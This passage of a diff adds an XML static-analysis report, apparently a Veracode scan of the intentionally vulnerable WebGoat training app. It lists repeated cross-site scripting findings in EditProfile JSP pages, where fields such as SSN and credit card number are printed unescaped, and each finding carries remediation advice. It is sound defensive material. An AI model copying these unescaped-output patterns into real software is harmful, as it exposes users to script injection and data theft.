+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
